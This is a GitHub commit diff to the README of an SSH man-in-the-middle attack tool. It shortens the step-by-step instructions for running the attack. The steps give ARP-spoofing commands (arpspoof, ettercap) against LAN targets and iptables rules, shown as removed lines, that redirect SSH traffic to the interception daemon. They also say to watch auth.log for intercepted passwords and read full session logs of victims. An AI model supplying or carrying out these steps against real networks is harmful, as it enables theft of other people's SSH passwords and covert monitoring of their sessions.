Skip to content

Commit 9978fa9

Browse files
committed
Updated instructions for running the attack.
1 parent 31dcf30 commit 9978fa9

File tree

1 file changed

+5
-18
lines changed

1 file changed

+5
-18
lines changed

README.md

Lines changed: 5 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@ Of course, the victim's SSH client will complain that the server's key has chang
2323
The following list tracks areas to improve:
2424

2525
* Support SFTP MITM'ing.
26+
* Print hostname, username, and password at the top of session logs.
2627
* Add port forwarding support.
2728
* Regex substitute the output of *ssh-keygen* when a user tries to check the host key hash. >:]
2829
* Create wrapper script that detects when user is trying to use key authentication only, and de-spoof them automatically.
@@ -58,35 +59,21 @@ The above output shows that two devices on the LAN have created SSH connections
5859

5960
## Running The Attack
6061

61-
0.) Run the *install.sh* script, as mentioned above (this only needs to be done once).
62+
1.) Once you've completed the initial setup and found a list of potential victims (see above), execute *run.sh* as root. This will execute *sshd_mitm*, enable IP forwarding, and set up SSH packet interception through *iptables*.
6263

63-
1.) Run *sshd_mitm*:
64-
65-
sudo su - ssh-mitm -c "./run.sh"
66-
67-
2.) Enable IP forwarding:
68-
69-
sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
70-
sudo iptables -P FORWARD ACCEPT
71-
72-
3.) Allow connections to *sshd_mitm* and re-route forwarded SSH connections:
73-
74-
sudo iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
75-
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
76-
77-
4.) ARP spoof a target(s) (**Protip:** do NOT spoof all the things! Your puny network interface won't likely be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time):
64+
2.) ARP spoof the target(s) (**Protip:** do NOT spoof all the things! Your puny network interface won't likely be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time):
7865

7966
arpspoof -r -t 192.168.x.1 192.168.x.5
8067

8168
Alternatively, you can use the *ettercap* tool:
8269

8370
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
8471

85-
5.) Monitor *auth.log*. Intercepted passwords will appear here:
72+
3.) Monitor *auth.log*. Intercepted passwords will appear here:
8673

8774
sudo tail -f /var/log/auth.log
8875

89-
6.) Once a session is established, a full log of all input & output can be found in */home/ssh-mitm/session_\*.txt*.
76+
4.) Once a session is established, a full log of all input & output can be found in */home/ssh-mitm/session_\*.txt*.
9077

9178

9279
## Sample Results

0 commit comments

Comments
 (0)